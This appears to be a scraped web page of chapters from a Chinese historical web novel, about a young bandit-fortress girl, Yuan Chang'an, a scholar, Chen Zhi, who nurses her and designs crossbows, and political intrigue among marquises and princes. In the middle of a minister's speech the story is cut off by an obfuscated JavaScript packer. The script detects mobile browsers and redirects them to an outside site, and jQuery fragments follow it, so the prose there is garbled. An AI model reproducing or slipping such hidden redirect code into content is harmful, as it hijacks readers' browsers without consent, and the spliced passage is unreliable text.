“既然这样,那我就跟你说吧。”张嫂从药箱拿出一个小本子和一根小毛笔,一边写一边说道:“头一个月不可下床,不可做剧烈动作。药一天三次,早中晚各一次。饮食方面也要注意,忌口辛辣,长安最爱吃辣,你多上心,多喝些清淡补身体的汤。我也会每天来给她换药。” 说完,将刚写好的纸撕下,递给陈治。陈治双手接过,拱手道:“多谢大夫。” 张嫂又上下打量了一番陈治,提醒道:“你还是去先洗把脸,换身衣服。身上血呲呼啦的,怪吓人的。” 陈治这才想起来,刚刚王二麻子被元长安一□□穿的时候,自己离他最近,难免沾上了血渍。 “多谢嫂子提醒。” 张嫂走后,陈治推门而入,看到元长安趴在床上,大夫也替她换了干净的衣服。她的眉头依旧紧皱,面容与嘴唇毫无血色。他先是将床边脸盆装着的血水端出去倒掉,然后又小心翼翼地替她将被子挪了挪,害怕捂到伤口会恶化。 陈治拿起凳子放在床边坐下,就这样面对面看着元长安的脸。虽然她长相还稚嫩,但也能看出日后张开之后,定是英气飒爽。 凌厉的剑眉,尽显英气。陈治记得她的眼睛状似桃花,眼尾略弯上翘,睫毛密而纤长。笑时如弯月,明亮又有神,可惜她很少笑。 “我还真是从来没见过像你这般的女子,年岁不大,性格野蛮且杀气重。很好奇,你到底都是经历了什么?” 没过多久,沈老大和二当家也过来看看元长安的情况,在听到陈治的回答之后,二人悬在心里的石头,才算是落了地。 “寨子里的事情还很多,这段时间就麻烦你帮忙照顾长安了,她性子是静不下来的,你要多多注意。”二当家叮嘱道。 陈治垂眸应和:“大当家放心,怀久会照顾好长安的,毕竟她也是因为救我才受伤的。” 沈老大看了一眼床上趴着昏睡的元长安,说不心疼,那是假的。毕竟她在襁褓之中时,就养在自己身边,是自己一把屎一把尿拉扯大的。 “长安这孩子,逞强不服输,又……唉,罢了,不说了。陈治,长安就拜托你了。” 陈治拱手道:“大当家无需这般客气,怀久照顾长安,也是本该做的事情。” 沈老大拍了拍陈治的肩膀,“好孩子。” 二人没有过多停留,和陈治说了一会儿话,便匆匆离开了。 ----------------- 周城侯府灯火阑珊,唯有产房内透出的烛光格外明亮。今晚,将有大事发生。 产房里传来的断断续续的声音,在这个宁静的夜晚显得格外清晰,让空气中弥漫着一种压抑的紧张感。 “夫人,您再加把劲儿,孩子的头快出来了。” “夫人,您使劲儿啊!” “夫人……” 府中的仆人们都静静地站在远处,不敢发出任何声响。许文达在产房外慌忙地走来走去,他眉头紧锁,眼神中透露出既期待又担忧的神情。 他的双手时而紧握成拳,时而又松开。偶尔,他会停下来,将耳朵贴近产房的门板,试图捕捉里面传来的一丝一毫的动静,然而每次的结果都让他更加焦躁不安。 这是许夫人诞下的第一个孩子,也是许文达的第一个孩子。若为男孩,那就是嫡长子,可继承他的侯爵之位。 不仅是许文达希望是嫡长子,而正在生产的许夫人亦是如此想。许文达后宅女子不多,但也不少,每一个都盯着自己这一胎,尤其是即将临盆的冯姨娘,以及怀孕三个月的杜姨娘。 “妙儿……”许夫人嘴唇苍白,声音微弱。 妙儿听到许夫人在叫她,连忙走到床头边跪在地上,“夫人。” 许夫人气息微弱,但还是压低声音道:“可准备好了?” 妙儿冲着许夫人点头,示意准备好了。 许夫人的身体下意识地放松下来,然后就听到稳婆大喊:“夫人,头出来了!” 产房外还在踱步的许文达听到管家说,高先生在前厅求见。虽然他担心生产的夫人,但是一想到高望或许有要事回禀,还是去了前厅。 “侯爷。”高望知道今晚前来,有失偏颇,但事情紧急,他不得不冒犯。 许文达阔步走到椅子前坐下,大手一挥,“说,什么事情?” 高望上前一步,拱手道:“侯爷,皇宫的天,变了。” “什么情况?” “吴王入京都,与尤氏联手发动政变,杀了章伯雍及其党羽,而小皇帝离奇失踪。现在皇位上坐着的,是先皇遗腹子,十一皇子,才四岁。”高望简单地将暗探传来的消息说与许文达听。 许文达摩挲着大拇指上的玉扳指,沉默良久,道:“如今吴王已然入京,我们先按兵不动。薛明礼那边怎么样了?” 高望前日刚收到薛明礼的传信,道:“薛明礼已经入了太守府,想来这几日便可见分晓。” “最好如此。” “侯爷,夫人生了!”一个丫鬟慌慌张张地跑过来,嘴里不停地喊道。 许文达心头一惊,站起身来,忙问道:“男孩女孩?” “是世子!夫人给您生了个世子!” 许文达大喜过望,直接丢下高望,朝着门口快步走去。高望见状,只得在原地等许文达回来。 “侯爷。” 妙儿将世子抱给许文达看,许文达看到当真是个男孩,直接被喜悦冲昏了头脑。当他想要亲自抱一抱世子的时候,妙儿阻止道:“夫人是早产,世子还比较虚弱,离不开母乳。” 许文达不懂这些,但是听到世子虚弱,连忙让妙儿将世子抱过去喂奶。自己走到许夫人的床边,看着满头大汗的妻子,于心不忍道:“夫人,你辛苦了。” 许夫人笑着安慰道:“只要能为侯爷生下长子,妾身不辛苦。” 许文达握着许夫人的手,又看到屋内只有他们两个人,便问道:“怎么屋内一个伺候的人都没有?真是越来越没规矩了,看来本侯要重新给他们讲讲规矩。” 许夫人眼底闪过慌乱,然后笑着解释道:“生产的时候,人多容易出乱子,妾就让妙儿一个人陪着。现在孩子平安,妾便派人将稳婆送走了。” 许文达将她的手放入被子里,还替她掖了掖被角,“那你好好休息,高望还在前厅等着本侯。” “侯爷,孩子还没取名字呢。” 许文达一拍脑门,道:“瞧我这记性,竟然给忘了。嗯——本侯毕生所愿,便是海晏河清。世子就叫许晏清,日后让他跟着本侯,开创海晏河清之盛世。” 许夫人受宠若惊道:“妾替晏清谢侯爷。” “好了,你好好休息吧,本侯去去就来。” “是。” 许文达离开之后,许夫人刚才还温柔乖顺的神情,立马变得冷淡平静。她出声唤道:“妙儿。” “夫人。” “都处理干净,不能留下一点蛛丝马迹。” “是。” 5. 第一次谈心 “都过去好几天了,我能不能下床啊。” “才过去七天,你现在还在危险阶段。” “陈怀久!” “我在。” 面对元长安的无能怒吼,陈治神情淡漠,将药碗给她放到床边的凳子上,“药正好,你赶紧喝了。” “不喝!”元长安气不打一处来,可是后背的疼痛感不允许她做太剧烈的动作, 陈治的手心里,不知道从哪里突然多出了一块糖来,“给你糖。” 元长安先是看了一眼陈治手心里的糖块,又看向陈治沉静的脸,心中五味杂陈。她端起药碗,直接一口闷,然后对陈治伸出手,要糖。 陈治见她刚刚的豪饮,都害怕她扯着自己的伤口。他将糖放到她的手心,说道:“张嫂说,你身体好,再过几天就能下床了。” 元长安将糖块放到嘴里,突然问道:“陈怀久,都说糖是甜的,但甜是什么味道,我都不知道。” 陈治一愣,面露惊讶,没有反应过来。 “没什么好惊讶的,我从小体内带毒,所以我没有味觉。”元长安脸上是云淡风轻,是若无其事。 陈治却道:“可是我之前听崔涯说你,六岁的时候挺喜欢吃糖的。即使有蛀牙,还一直吃。” 元长安眉毛一挑:“我吃不出甜的滋味,但是牙一疼,我就暗示自己,吃的东西是糖,是甜的。” 陈治又问道:“我记得你很喜欢吃核桃酥,而且还挺喜欢吃辣的。” 元长安找了一个舒服的趴着的姿势,然后说道:“虽然我尝不出来核桃酥的味道,但是它便宜,而且闻起来香,吃起来又酥又脆。至于吃辣嘛,那是因为我吃辣的时候舌头有感觉,我就觉得自己是个正常人。” 陈治坐在离元长安比较近的地方,“我们还挺相像的。” “嗯?” 陈治轻笑道:“我生来就不辨颜色,你们眼中的花红柳绿,在我看来,就如同水墨画。” “颜色有什么好看的,吃不到世间美味才最可惜。”元长安嘟囔道。 陈治摇了摇头,有些无奈:“你这是要与我攀比谁的缺陷最严重吗?” 元长安托着下巴,说道:“随口一说罢了,反正能活着就不错了。” “一直听你说,你从小无父无母,那你是什么时候来的清风寨?”陈治问道。 元长安回道:“其实我也不知道,听二当家说,我在襁褓的时候,就被大当家捡回清风寨。因为我脖子上挂着一个小香囊,上面绣着‘元长安’三个字,所以就给我取名叫元长安。虽说我是被大当家捡来的,但也是在寨子里混到大的。大当家和二当家没时间管,我就和沈让还有崔涯在寨子里混。” 而陈治一边听,一边在脑海里想着京畿九郡中有没有姓元的名门望族。很可惜,他将所有认识的、听说的名门豪族想了一个遍,也没有姓元的。 “你可曾想过寻找你的父母?” 元长安仔细地想了想,然后摇头道:“不想,我现在就挺好的。” 陈治笑道:“你倒是想得开。” 元长安将枕头垫在身下,自己趴在上面,“光说我了,我还不怎么了解你呢。” 陈治给自己倒了一杯水,顺便给元长安也倒了一杯,递给她:“我出身少陵陈氏,其家族位列京畿四望之一。幼时拜朝中名臣上官百策为师,习名人字画、四书五经以及史书传记。虽生来不辨颜色,却有过目不忘之能。后来,又得辞官赋闲的卫良才看中,跟着他又学了两年儒、法、道三家经典,也有了些见地。” 陈治说着,还不忘看向趴在床上的元长安,没想到她竟然听睡着了。他无奈地笑了笑,将她喝完的药碗端走,离开了房间。 当天晚上,又是陈治来为她送药。 “为什么我养伤这么长时间,几乎都是你在照顾我?”元长安刚换好纱布,身上盖着薄薄的被子。“蜡烛在那个柜子里,我不方便,你自己点。” 陈治眼神微黯,慢条斯理道:“屋里的亮刚好,不用点。还有,说到底你也是因为救我才受伤的,再加上我在山寨也没什么事情,我照顾你是最合适不过的。” 元长安若有所思地点了点头:“我救你也是顺手的事情,别给自己太大压力。” 陈治稍稍弯下腰,将药碗递到她的手上:“你这人当真是性格多变。药已经凉好了,现在喝正好。” 二人凑的很近,元长安再次闻到了陈治身上檀木清香,十分好闻。等陈治坐得与她有些距离之后,她才回神。 “你那么喜欢我送你的玉簪子?竟然将它放到了床头的位置。”陈治看到元长安枕头旁边的那根玉簪子,便开口调侃道。 元长安拿起玉簪子,喜滋滋地说道:“因为好看啊,我最喜欢所有好看的东西,特别是玉。不管是什么玉,我都喜欢。” 说完,她的眼神落在了陈治腰间挂着的玉佩上面。直勾勾的模样,让陈治直接用手挡住了她的视线,说道:“这个是我最重要的东西,不能送你。” 元长安神情恹恹:“好吧,我才不稀罕呢。” 陈治见她这般不开心的样子,轻哄道:“明天沈大哥要下山,我跟他一起去,看看县里有没有什么好看的玉,我买给你。” 元长安第一时间质疑道:“你有钱吗?” 陈治眸光微动,嘴角上扬道:“我在寨子里没什么事情做,除了照顾你,就是画些能拿得出手的画。你在床上趴着的这段时间,我拜托耗子叔帮我打听清阳县有没有哪个富贵人家有戏班子,然后写了些戏文,他人脉广,我写的那些戏文,赚了不少钱。不仅是写戏文,我还临摹了些字画,也挣了不少钱。” “原来是这样啊,那我就不客气了。”元长安才不会觉得不好意思。 陈治见她又立马变得开心起来,都不知道该拿她怎么办。 第二天晚上,元长安见是崔涯端药进来,疑惑地回道:“怎么是你?陈怀久呢?他下山还没回来吗?” 崔涯将药碗递给她,语气有些不悦:“怎么,看到我你就不喝药了?什么时候,长安竟然那么依赖陈治了?” 元长安将药一口喝下,然后说道:“你想什么呢?从我受伤到现在,几乎都是陈怀久照顾我,这回没看到他,有些好奇而已。” 崔涯接过喝完的药碗,又替元长安倒了一杯热水:“他和沈让下午下山的时候,遇到了麻烦,受了点伤,张叔刚给他们包扎完。” “清阳县发生什么事情了?”元长安接过水杯问道。 崔涯一边收拾着喝完的药碗,一边解释道:“青龙寨这两年左右树敌,我们这边刚挫了刘大胡子的锐气,毁了他的根基。清阳县与邻县交接的地方,不是有一个白崇山嘛,前两天趁青龙寨休养调整的空档,端了寨子。现在清阳县到处是山匪逃窜,百姓皆闭门不出……哎——你身上有伤,不能动。” 元长安没有理会自顾自地爬了起来,她的动作难免会扯到伤口,后背处隐隐有鲜红的血液渗透出来。崔涯连忙上前将她扶了起来,“你这是要干什么去?” “我出去一趟。”元长安拿起床尾的拐杖,披上外袍,行动缓慢。 崔涯看不下去了,连忙制止道:“你身上还有伤,我扶你去。” 而元长安直接拒绝道:“我自己去就行了。”他要是跟过来了,说不定明天又会传出什么不好的言论,毕竟他嘴大。 崔涯发现这小丫头越来越让人琢磨不透了,虽然很担心,但是他还是没有跟上去。 元长安推门进来的时候,陈治正坐在书案前,点着一盏油灯,翻看着书籍,他的脖子缠着一圈纱布。 陈治听到响声,闻声望去,却见元长安拄着拐杖,步履艰难地挪动到凳子旁坐下。 “你怎么来了?可有吃药?”陈治放下书本,脸色凝重,眼中满是担忧。 而元长安微微仰头,与陈治双目对视,“听说你下山的时候受伤了,我肯定要过来看看,毕竟你也是为我下山买玉才遭此难。你放心,我肯定是喝过药才过来的。你脖子上的伤,怎么样了?” 陈治嘴角不经意间上翘,眼中的担忧逐渐被欢喜所替代:“不过是被蹭破了点皮,不用担心。” “也就是你的屋里,一到晚上那么亮。”元长安一进来,就感觉他的屋子亮如白昼。 “我的眼睛一到晚上,如果只有一点光的话,就看的不是很清楚。所以,我习惯晚上多点几根蜡烛。对了,我在县里没有找到玉器铺子,但是在一个老人那里,买下来一块玉牌。我拿给你看看。” 说着,陈治起身走到自己放书的木架子上面拿下来一个木盒子,然后走到元长安旁边的位置坐下,将木盒子放到她的面前。 “你打开看看。” 元长安迫不及待地打开了木盒子,只见里面躺着一块翠绿欲滴的玉牌,拿在手里还没有自己的巴掌大。摸起来的触感十分顺滑,绝对是一块好玉。 “那我就不跟你客气了。”元长安对美玉向来都是没有任何抵抗力,更何况这本就是陈治答应送给她的。 陈治见她十分欢喜,自己的心情也大好起来,“我有一根红绳,正好将这玉牌串起来戴上。” “那就太好了。”元长安眼睛都放光,看向陈治的眼神明亮又清澈,与以往的她完全不一样。 “哎——不对,别人买玉都会看成色、辩真假。你……是怎么辨别这是块好玉还是坏玉的?”元长安望向陈治的眼神充满了疑问。 陈治一边编织着红绳,一边说道:“我自有我的办法,你只需知道这块玉绝对是上好的玉便可。” 元长安侧头看向身边的陈治,只见他低着头,神情专注。他的眼睫毛很长,眨眼间,如同蝴蝶翅膀呼扇。眼角的红色滴泪痣,在烛光的照映下,更显妖娆。 “你竟然还会编红绳?你们世家公子是不是什么都会啊?” 陈治转过头,笑着说道:“世家公子哪有那么厉害,只不过家底殷蕴,学的东西多些。不过这编红绳,是我跟我娘学的。” 说起自己的娘亲,陈治脸上顿时浮现出忧伤之情。 “好了,我给你戴上吧。” 陈治替元长安戴上玉牌的时候,发现她的耳后有一块红色胎记,熟悉又陌生。 元长安看着挂在脖子上的玉牌甚是喜欢,“看在你送我这么好看的玉的份上,到时候我多给你送些蜡烛过来,怎么样?” “那就多谢长安了。咦,你背上怎么有血渍?伤口是不是裂开了?我看看。”说着,就上手想要将她的外袍脱下,但是转念一想太唐突,抬着的手又停在了半空,“我……” 元长安转过身,见他为难的模样,便自己褪下外袍。陈治先是下意识地回避眼神,但是想到自己要帮她看伤口出血的情况,他又低眸看向元长安的后背。果不其然,背后有了一小摊血渍。 “我去找张嫂给你重新上药。” “不用,这个时辰,张嫂应该已经睡了,我还是回去之后自己处理。”元长安披上外袍,若无其事地说道。 陈治终是不忍心,说道:“罢了,事从缓急,还是让我给你换药吧。” “你这里有药?” 陈治从书案上拿起一瓶金创药和一卷纱布,“张叔正好留下一瓶,你先去我床上躺下。” 元长安依言趴在陈治的床上,但见他对着自己拱手一礼,说道:“唐突了。”然后拿着金创药和纱布,思虑再三,又拿了一把剪刀,才走到床边,“可能会疼,你忍着点。” 陈治将缠在元长安上身的衣服和纱布从背后小心翼翼地剪开,被缝合的伤口引出眼帘,鲜红的血肉看起来十分渗人。 “我准备上药了。”陈治说完,将金创药粉均匀地撒在伤口处,只听到一声闷响。 “你当真只有十三岁?”陈治想了一个话题,来缓解此时的尴尬。 元长安不明所以道:“是啊,怎么了?” 陈治上完药,他的眼神瞥向一边,然后用手掌扇风替她缓解疼痛:“我感觉不像。” “哪里不像?” “你很能忍,受到如此重的伤,却能做到一声不吭。” 元长安枕着自己的自己的胳膊,侧过头说道:“因为除了忍耐,我没什么事情可做,毕竟在这个世道,没有任何人会因为你的示弱而放过你。” 陈治不想再继续这个话题,拿着纱布问道:“你可会自己缠纱布?” 元长安抬起自己的一只手,说道:“给我吧。” 陈治将纱布放到她的手上,然后自己起身离开了自己的房间,直到屋内传来:“我好了。” 他再次进来的时候,元长安已经穿上了外袍,坐在凳子上,脖子上还挂着那块玉牌。 “困死我了,我回去了。”元长安打了一个哈欠,眼睛开始迷离。 陈治不放心道:“我送你回去,小心伤口别再开裂了。” “行。” 于是,一个脖子缠纱布的男人,扶着一个拄着拐杖的女孩。二人提着特别亮的油灯,一步一个脚印,画面还真有些滑稽。 元长安回来的时候,崔涯已经离开了。陈治走后,元长安趴在床上,看着玉牌欣喜不已。 ----------------- 临安王府,郑言拜沈思成为座上宾,以礼相待。 “沈先生,如今小皇帝失踪,尤氏和吴王扶持年仅四岁的十一皇子登基,此举乃挟天子以令诸侯。不知沈先生有何高见?”郑言礼贤下士,温和仁善,贤名已传遍渭州九郡。 沈思成出自安阳沈氏旁支——上饶沈氏,在渭州也算是有头有脸之人。 安阳沈氏被屠,上饶沈氏也逐渐落寞,沈思成便将目光放在了临安王郑言的身上。因为他有雄心壮志,又爱才若渴,是可辅助之人。所以,他入了临安王府,利用自己在上饶的人脉和三寸不烂之舌,替郑言扩张渭州势力。 “回王爷,现如今整个渭州九郡的世家皆仰慕王爷贤明。再加上草民这些时日到处游说,他们都有意拥立王爷称帝。” 郑言先是被吓了一跳,连连推辞。然而,接下来沈思成的话,彻底打动了他。 “如今的大晋皇帝,大权旁落,已无实权。尤氏把持朝政,只为一己私利,导致整个大晋,民生哀怨,国将不国。而王爷您,贤明在外,敬贤爱士,渭州世族愿归顺于王爷。更何况现在的渭州,早已不是几百年前的渭州。 现在的渭州,得众力之助,荒土大辟,耕田广增。农技亦精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142845|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进良多,推广改良犁耕之法,行精细耕作,稻作由昔之直播转为育秧移栽,麦稻轮作之法遍行于世。蚕丝之缫,布帛之织,瓷器之制,舟船之造,纸张之产,盐务之营,诸般技艺皆有显扬。农事与工技之盛,促商贾往来,城市兴盛,南境经济,迅发速展。 天时地利人和,王爷三者皆占,此乃授命于天!” 公元九七年十月十九日,临安王郑言于渭州临安郡称帝,国号南晋,临安郡都城盘江为国都。沈思成被郑言拜为丞相,并免去其跪拜之礼,亦可携兵刃入宫觐见。 就是这一刻,让沈思成更加坚定自己所走之路,没有错。他要用一个盛世王朝,来成就自己一生的荣耀。 ----------------- 元长安在床上趴着的这段日子,着实无聊。除了沈老大和二当家偶尔抽闲来看望自己,大多时间,她都是去找陈治聊天。因为她发现陈治知道很多志怪故事,听起来津津有味。 不过大部分时间,陈治不是在看书,就是在纸上写写画画,然后就是比着图纸摆弄小型巨弩车。 元长安好奇地凑过去一看,纸上画着的画像,和当时青龙寨的巨弩很相似。 “这不是我们缴获的青龙寨的巨弩吗?你画这干什么?还做了这几个小型巨弩车。”元长安问道。 陈治一边翻看着书籍,一边解释道:“现在的巨弩射程还不足半里,并且仅能使用三次。我想改进巨弩车,说不定日后寨子能用上。” 一提到动手做工,元长安瞬间就来了兴趣,“我可以帮你!” 陈治问道:“你可看得懂巨弩的设计图?” 元长安闻言,顿时像霜打的茄子,蔫儿了。 “没关系,我先教你识图。”陈治没有打击她的积极性,在他看来,想学就要教。 “这是牵引绳,用于弹射巨箭。这是主弓,用来发射箭矢……” 陈治讲的很细致,他的声线清脆温润,说话时的语速不急不慢,甚是温柔。 元长安果然不是认真的主儿。除了练功习武,其他时候静下心的元长安,不足一刻,就昏昏欲睡。 “罢了,等我将设计图纸画出来,再找你帮忙吧。”陈治也不为难元长安,毕竟看她是真的不喜欢听这些。 元长安懵懵懂懂地点点头,然后就趴到书案上睡着了。陈治也没有叫醒她,只是替她披上自己的外袍,以防她受凉。然后自己将书本和纸笔拿到另一张桌子上,继续研究巨弩车的改造。 当元长安醒来的时候,陈治也终于实验完成,并且画好了图纸。 “那么快就完成了?”元长安有些不可思议道。 陈治将两张图纸和两个小型巨弩车放到元长安面前,指着其中一张巨弩图讲解道:“这是现在所用的巨弩车,三张正弓安放整齐,但是拉动弓弦移动的距离,是我设计出来的移动距离的一半。” 说着,又将另一张图纸展开给元长安看:“我将这三张弓,按照两正一反放置,它所能储蓄的力量、射程以及杀伤力是正常的一倍有余。” 陈治说完,拿起小型巨弩车给元长安示范了一下。果不其然,经过陈治改造的巨弩车,射程确实比正常的要远上一倍。 “陈怀久,你有没有想过,将这个巨弩改成一次性发射三支箭矢?”元长安的脑子里突然一闪而过一个想法。 陈治却道:“也不是没有想过,只是要真那么做,可能会缩减射程,降低准确度。” 元长安也只是随口提议,既然陈治说不可行,她也没必要揪着不放。 “那现在是不是就差材料了?我找人去山上给你砍些下来?” 陈治点点头道:“材料山上是不缺,但是我需要的木料不止只有一种。现在更重要的是,找到一个专业的工匠,说不定能给我一些建议。” 元长安眼珠一转,想到了一个人:“工匠的话,我倒是有一个人。” “刘爷爷,你在家吗?”元长安在院子里,扯着嗓子大喊道。 陈治站在她身后,害怕她动作太大,扯到伤口。“你注意点,身上还有伤口。” 元长安养了那么久的伤,背后的伤口也有了好转,只要动作不剧烈,平常的活动还是可以的。但陈治还是很担心,没有任何理由。 “元丫头,你怎么来了?”从屋子里走出来一个年逾花甲的老者,拄着拐杖。 元长安拿着一沓陈治的图纸给老者看,“刘爷爷,我这里有几张设计图纸,你看能做出来吗?” 刘工匠坐在院子里的石墩上面,仔细看着元长安递过来的设计图。 “元丫头,可以啊,这图纸画的很详细,想法也有可实现性。”刘工匠对着图纸就是大加赞赏。 元长安不敢夺功,拉着陈治,对刘爷爷说道:“舞刀弄棒,我会。但是画图纸,想设计,我可不会。这些设计想法,都是陈怀久一个人想出来的。” 刘工匠抬头看向陈治,上下打量了一番,然后很满意地点点头:“衣着干净整洁,神态谦卑知礼,是个不错的人。元丫头,你可是捡到宝了。” 元长安听不明白刘工匠话里有话,但是陈治能听出来,他面色涨红,想要开口否认,却听到元长安说道:“那可不,我当时救他的时候,一眼就看出来他不是什么等闲之辈。” 被元长安飘飘然的姿态逗乐的陈治,突然不想再辩解,就这样看着元长安。而刘工匠也知道她的性子,索性就不再多说,指着手里的设计图道:“陈小子,你这设计的巨弩可有什么要求?” 陈治正色道:“所有材料都要最合适的。” 刘工匠再次将视线落在设计图纸上,良久道:“可以是可以,但是有些材料需要你们自己去找,我这里没有。” 元长安说道:“这都是小问题,只要能做出来就行。” “山毛榉做身、檿木做弰,还有黄杨木。檿木和山毛榉东山就有,但是黄杨木,需要去隔壁庆泽县。还有就是,一些铁件儿,你们要自己去买。”刘工匠说道。 元长安先是看了一眼陈治,然后说道:“没问题,铁件儿可以去找王叔。黄杨木的问题,等我伤养好了,就去庆泽县。” 陈治见元长安一口答应了下来,眉眼含笑地看向豪情万丈的她,心想:当真是令人琢磨不透。随后收回视线,又从袖口处拿出几张纸,交给刘工匠:“刘爷爷,这是我设计的神弓弩,您看看能不能做出来。” 刘工匠看着比刚刚那个巨弩简单了不知道多少倍的神弓弩,说道:“这个简单,你要多少?” 陈治思考片刻道:“先做十个出来,如果它能替代弓箭的话,我想以后清风寨的弓箭兵可以更换为神弩兵。” 刘工匠觉得此人是个做工匠的好料子,想收他为徒弟。然而陈治却拒绝,毕竟他志不在此。刘工匠也不再强求,只能惋惜自己少了一个仅次于孙女的好徒弟。 在回去的路上,元长安对陈治彻底刮目相看,没想到他竟然还有这么一手。 “等神弓弩和巨弩车做出来了,我想大当家一定会很高兴的。” 陈治没有说话,只是点头附和道,还时不时地提醒她,注意伤口。 或许,就在此刻,二人之间的关系已经发生了微妙的变化。 6. 试用神弓弩 京畿的天气变化无常,前一天还是晴空万里,艳阳高照,第二天就变成了狂风暴雨,气候转凉。元长安在张嫂再三确认下,终于可以像正常人一样下床走动了。 恢复自由的元长安,一点儿也闲不住,心里一直想着庆泽县的黄杨木。 正巧,今日去前堂找大当家说要去庆泽县的时候,碰到耗子他打听到的,关于庆泽县与清阳县交界的白崇山的消息。 “白崇山上的那些人,原本是上番的一支轻骑兵。后来不知道怎么了,这支轻骑兵来到了白崇山。因白崇山处于庆泽、清阳两县交界之地,无人看管,所以自成一霸。上次剿灭青龙寨,就是他们干的。”耗子说道。 “上番的轻骑兵可是稀罕物,他们以快速、突击闻名。其灵活性,甚至能在战场之上迅速改变战局。一旦拿下,对我们清风寨百利而无一害。”二当家一说到轻骑兵,两眼放光,甚是激动。 而沈老大却有诸多考虑:“清风寨因不掺合这乱世纷争,才得以保全一时安稳。若真的将轻骑兵收入寨中,怕是日后想平静,都没办法做到了。” 元长安擦拭着自己的长生枪,出声道:“既然已经处在着动荡之间,安稳只能是一时。若想保寨子父老乡亲一世平安,就要搅入乱局之中,站稳脚跟。” 沈老大轻叹一声:“长安,你还小,不懂这其中的弯弯绕绕。” 沈让却道:“爹,我觉得长安说的有道理。前段日子的青龙寨不就是一个活生生的例子?我们没有招惹他们,可他们反过来却要攻占我们的寨子。” 二当家附和道:“大当家,我知道你无心入局。可事在人为,你不入局,总有人会拉你搅局。” 沈老大不是没有想过这个问题,可他并没有什么野心,只想护清风寨一方平安。 “现在世道太乱了,你们说的很有道理,但是我不能拿清风寨父老乡亲的命冒险。” “大当家,现在周城侯和恒王关系如同紧绷的弦,战事一触即发。而我们又处在他们二者之间,有些事情,要早做打算。”二当家摇着羽扇,缓缓开口,眼睛一直盯着沈老大。 耗子补充道:“大当家有所不知,这支轻骑兵在白崇山经常劫杀路过的百姓。听那附近的百姓说,死在他们手里的人,少说也得有上百个。” 沈老大听到死了上百个百姓,猛地一拍扶手,“劫杀无辜百姓,天理难容。耗子,你带着老三和老五先去摸清他们的底细,然后再作区处。反正他们两个在寨子里整天叫嚷着无事可做,派他们和你一起去正好。” 元长安这时站了出来:“大当家,我也要去。” 沈老大想都没想,直接拒绝道:“你还小,再说了,你的伤刚养好,就在寨子里待着吧。我让沈让、崔涯跟着去就行了。” 元长安不服气道:“我不小了,而且我现在感觉恢复的很好。”说着,还耍了一下枪法。 可沈老大还是不愿松口,无奈只能将求人的视线转向二当家。只见二当家一会儿抬头往上看,一会儿低头往下看,就是不看她。元长安气急了,扛着长生枪就离开了。 “哼,你不让我去,我就偷偷跟着去。” 元长安这边刚走,陈治就拿着改良好几次的神弓弩过来了,正好听到了沈让问沈老大:“爹,为啥不让长安跟我们一起去?” 沈老大捏了捏眉心,“她性子狠戾,我怕有什么意外,你们控制不住她。哟,陈治来了,找我有什么事情?” 陈治将神弓弩双手奉上:“这是怀久自己研究出来的神弓弩,比普通弓箭省力不少。” 不光沈老大来了兴趣,在场的所有人都纷纷看向陈治手里的沈弓弩。 神弓弩弓身三尺二寸,箭木羽长数寸。 二当家开口道:“怀久,你先跟我们说一下你的这个神弓弩。” “以檿为身,檀为弰,铁为登子枪头,铜为马面牙发,麻绳扎丝为弦。弓之身三尺有二寸,弦长二尺有五寸,箭木羽长数寸,射三百四十余步。”陈治缓缓道来。 沈让走到陈治的身边,拿过神弓弩来回看了好几遍,也没有研究明白。他道:“陈治,你说这东西比弓箭厉害?” 陈治轻笑一声:“沈大哥若是不相信,我们可以比一比。” 沈让看向沈老大,见他也是不相信但却十分感兴趣,便说道:“比就比。” 比武场,崔涯拉着闷闷不乐的元长安也来凑凑热闹。 “别板着一张脸了,我知道你想去白崇山,大当家不让你去。但是,你明着不行,就走暗道。” 元长安本就有这个打算,她道:“那你得帮我。” 崔涯给了她一个“没问题”的眼神,“放心,保证万无一失。” 二人说话间,沈让和陈治已经准备就绪了。百米开外,两张靶子就立在那里。 沈让蓄力拉弓,然后一触即发,正中红心。而陈治看到元长安的身影之后,对她招了招手,元长安不明所以地走到他的面前。 陈治将神弓弩交给她,“这弩有后劲,我身子弱,还是你来吧。” 元长安也试过这弓弩,确实后劲不下,便选择代劳。她瞄准靶心,扣动扳机,箭矢飞射而出,直接刺穿靶子,震惊在场众人。 沈老大连连拍手,大叫道:“好!好一个神弓弩!” 一旁的二当家震惊之余,也有一丝忧虑。陈治如此才能,当真愿意屈居清风寨?若他另谋高就,那清风寨势必多一个强劲的敌手。 沈让从元长安手里抢过神弓弩,眼中满是喜爱之情。他道:“这真是一个好东西!陈治,你可愿意将它送给我?我不白要你的,我屋里珍藏的所有武器,你随便挑。” 陈治刚想说不用,就听到元长安抢话道:“那我要你蝴蝶双刀。” 沈让满眼都是神弓弩,直接答应道:“拿走就是了。” 陈治无奈地看向元长安,眼神中还带着一丝宠溺之意。 沈老大带着二当家来到比武台中间,对陈治说道:“此弓弩确实比普通弓箭方便很多,但就这一个,还是不够用。” 陈治回道:“我和长安拜托刘爷爷做出来十个神弓弩练练手,原本就打算大当家同意之后,将弓箭兵换成神弩兵。” 听到陈治已经做出来十支神弓弩,并且准备继续做下去的时候,沈让才反应过来自己被元长安敲诈了一笔。 “弓箭兵不可换,但可以再新组建一支神弩兵。”二当家说道。 沈老大也附和点头道:“二当家说的有道理,弓箭兵操作灵活,适合快速射击。而你的神弓弩威力虽大,但装填时间长。二者各有所长,也各有所短,当相互配合。” 陈治微微弯腰:“怀久受教了。” 沈老大一脸满意,他拍了拍陈治的肩膀,说道:“正好今日我派老三、老五和耗子还有沈让和崔涯他们五人下山一趟,你和长安拿三张弓弩给赵老三他们三个送过去。刘老爷子那里,我会派人让他多做一些神弓弩。沈让,崔涯你们二人赶紧回去收拾一番,下午跟着耗子他们几人去一趟白崇山。” “是。” 元长安出声应答,与崔涯对视一眼,然后又瞥向别处。 赵老三在得到了沈老大的口令之后,脸上像开了花一样,笑得合不拢嘴。 